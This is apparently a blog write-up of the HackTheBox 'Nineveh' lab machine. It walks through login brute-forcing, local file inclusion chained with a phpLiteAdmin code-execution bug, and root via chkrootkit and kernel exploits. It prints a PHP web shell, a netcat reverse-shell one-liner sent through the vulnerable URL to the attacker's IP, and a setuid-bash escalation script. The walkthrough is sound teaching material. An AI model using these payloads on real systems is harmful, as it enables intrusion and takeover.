CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Nineveh

linux password-cracking lfi phpliteadmin rce strings port-knocking chkrootkit

// Lessons Learned

  1. scheduled binaries should be assessed the same as server binaries, including checking for vulnerabilities in the specific version in use.
  2. if build tools such as make & gcc are not available on the target, identify the target o/s and use a compatible docker image for compiling any exploits.

// Recon

~/HTB/boxes/nineveh  nmap -A -p- nineveh.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-02 15:46 AEST
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up (0.036s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
| tls-alpn: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.87 seconds

Nmap reveals the target is likely running Ubuntu Linux, with only two ports publicly accessible (both via Apache 2.4.18):

Accessing the two ports via browser returns two different sites, on port 80 there is the default post-installation Apache page:

While port 443 returns a page hosting a single image:

Starting with the HTTP site, feroxbuster discovers an info.php page and three directories (two of which are simply for storage of web assets):

200      GET        5l       25w      178c http://nineveh.htb/index.html
200      GET      977l     5005w        0c http://nineveh.htb/info.php
...
301      GET        9l       28w      315c http://nineveh.htb/department => http://nineveh.htb/department/
301      GET        9l       28w      319c http://nineveh.htb/department/css => http://nineveh.htb/department/css/
301      GET        9l       28w      321c http://nineveh.htb/department/files => http://nineveh.htb/department/files/

info.php is configured to execute phpinfo, a debugging function that outputs a lot of server & php-related settings. Browsing to /department redirects to /department/login.php, which contains a basic login page:

In the source of this page is a developer comment, which suggests the page is yet to be “fixed”, without revealing exactly why or how:

<!-- @admin! MySQL is been installed.. please fix the login page! ~amrois -->

There isn’t any indication of a software package or framework being used, but trying some obvious / default-type logins (admin / admin, admin / password etc.) reveals that username enumeration is possible thanks to the variation in error message. Entering an invalid username generates this error:

While entering a valid username returns a different error:

This kind of information leakage makes brute-forcing logins much easier - if it turns out that is required.

Moving over to the HTTPS server, feroxbuster again identifies more content in the form of a /db directory:

301      GET        9l       28w      309c https://nineveh.htb/db => https://nineveh.htb/db/

Accessing this page returns a login page for phpLiteAdmin, a lightweight tool for administering sqlite databases via the web:

The default password for this software is admin, but in this case it doesn’t let us in. Exploit-db indicates that this version, 1.9, is vulnerable to a remote code execution vulnerability, but only once authenticated =\

With no other content seemingly available, brute-forcing the logins seems like a sensible step. Burp Intruder is a reasonable choice for this, and since we already know admin is a valid username for the HTTP site, starting with that server also makes sense. Typically brute-forcing challenges in CTFs don’t require massively long wordlists to succeed, so the top 200 of 2020 from SecLists is a good place to start. Watching the Intruder logs as each password is attempted reveals a change in response code and size when 1q2w3e4r5t is tried:

Running a similar attack against the HTTPS server reveals a change in response size when password123 is attempted:

With both logins cracked we can now login to each site. The HTTP site hosts only one page of meaningful content:

The notes=files/ninevehNotes.txt parameter suggests the server could be vulnerable to local file inclusion (LFI), allowing us to potentially access any content on the server that is readable by the webserver user. This will likely be required to take advantage of the RCE exploit on the HTTPS server, which requires LFI to fully execute.

After logging into the HTTPS server, stepping through the steps of the RCE exploit is straightforward. In essence, a sqlite database is created with a .php extension rather than .sqlite (e.g. hack.php) and a field is added with a default value that will execute out supplied code (<?php system($_GET["cmd"])?>). The interface indicates the file will be stored in /var/tmp, meaning that once it has been created we can use the LFI available via the HTTP site to access the file and execute the code. One additional constraint is that the manage.php file seems to only accept the notes parameters if it includes ninevehNotes in the value. There are various ways around this - we could use a value of file=files/ninevehNotes.txt/../../../../../../../var/tmp/hack.php, or we could instead just rename the database to ninevehNotes.php and access it as ../../../tmp/ninevehNotes.php. Either way, with a netcat listener running we can send a request to open a connection (note the OpenBSD-style netcat syntax, which does not support -e):

http://nineveh.htb/manage.php?notes=../../../tmp/ninevehNotes.php?cmd=mkfifo /tmp/lol; nc 10.10.14.6 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

and we can catch a reverse-shell from the target, as the www-data user:

$. sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.43] 58526
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Typically at this point the user.txt flag is accessible, but on this machine it is configured to be read-only by the amrois user. Digging around the filesystem for information related to this user reveals something interesting in an image hosted by the HTTPS server:

$. cd /var && grep -ri amrois ./*
...
Binary file ./www/ssl/secure_notes/nineveh.png matches

Running strings against this file confirms it has additional data hidden within:

$. strings /var/www/ssl/secure_notes/nineveh.png
...
www-data
www-data
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----                                                            
secret/nineveh.pub                                                                       
0000644                                                                                  
0000041                                                                                  
0000041                                                                                  
00000000620                                                                              
13126060277                                                                              
014541                                                                                   
ustar                                                                                    
www-data                                                                                 
www-data                                                                                 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmur
SeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsAN
xiTRLDjZs5v7IETJzVNOrU0R amrois@nineveh.htb

An ssh private key for amrois is present, and checking the server’s open ports via netstat -antup confirms ssh is listening for all interfaces on port 22, a service that was not picked up via the initial nmap scan. On the assumption that this port has been firewalled of, we can make use of chisel, which allows tunnelling over HTTP. As per the docs, we we start the server-side listener on our attack box, listening on port 7777:

./chisel server -p 7777 --reverse

and then establish a tunnel from the client, making port 22 on the target accessible from 7778 on the attack box:

/tmp/chisel client 10.10.14.85:7777 R:7778:127.0.0.1:22

With the tunnel running, we can now ssh to the target using the discovered private key saves to id_rsa, and obtain the user.txt flag:

~/HTB/boxes/nineveh  ssh amrois@localhost -p 7778 -i id_rsa
amrois@nineveh:~$ cat user.txt
34810e8*************************

Further exploration of the system later on revealed that knockd, a port knocking daemon was running. This services requires a packet to be sent to a series of ports, akin to a safe combination, before a service can be unlocked. The amrois user has an email from root in /var/spool/mail which provides the combination:

You have mail.
Last login: Mon Jul  3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ cat /var/spool/mail/amrois 
From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

Netcat can be used to execute the knocking sequence, which then permits traffic to port 22, removing the need for the chisel tunnel:

$. nc -w 1 -zv nineveh.htb 571; nc -w 1 -zv nineveh.htb 290; nc -w 1 -zv nineveh.htb 911
ssh amrois@nineveh.htb -i id_rsa
amrois@nineveh:~$

// Privilege Escalation

Beginning with manual enumeration we can quickly determine there is no sudo-based path to root, no setuid binaries that can be exploited and so on. Uploading and running pspy reveals a script at /root/vulnScan.sh executing periodically, likely via a root user cron.

...
2022/12/06 20:17:01 CMD: UID=0    PID=16103  | /bin/sh -c /root/vulnScan.sh
...

The pspy output reveals the script is running chkrootkit, a tool designed to scan a system for local rootkits. The version installed, 0.49, is known to be vulnerable to a local privilege escalation, thanks to a syntax error in one of the internal checks. All that is required is to create an executable file at /tmp/update, a directory that is writable by our user. In this case, we can add a simple script to create a setuid version of bash in our home directory:

#!/bin/bash
cp /bin/bash /home/amrois/bash && chmod 4755 /home/amrois/bash

And after a short period of time, a new shell is created. Running it with -p flag to preserve the effective user id grants us root access, and we can grab the root flag from the usual location:

amrois@nineveh:~$ ./bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt 
3cf2df53482373f2f4da913a23ce4b55

Modern-Day Shortcuts

As this box was released in 2017, it is now vulnerable to a number of other exploits, including the Ubuntu 16.04.4 kernel privesc, BPF Sign Extention privilege escalation, and the more recent pwnkit exploit. The target does have compile tools installed (make, gcc etc.) so these exploits need to be built offline, and then synced to the target. Once uploaded, they easily achieve root:

# locally build the and upload the Ubuntu 16.04.4 kernel privesc exploit as 44298
gcc -o 44298 44298.c
curl http://10...

# execute on the target
amrois@nineveh:/tmp$ ./44298 
task_struct = ffff880037f9d400
uidptr = ffff88003416fa84
spawning root shell
root@nineveh:/tmp# whoami
root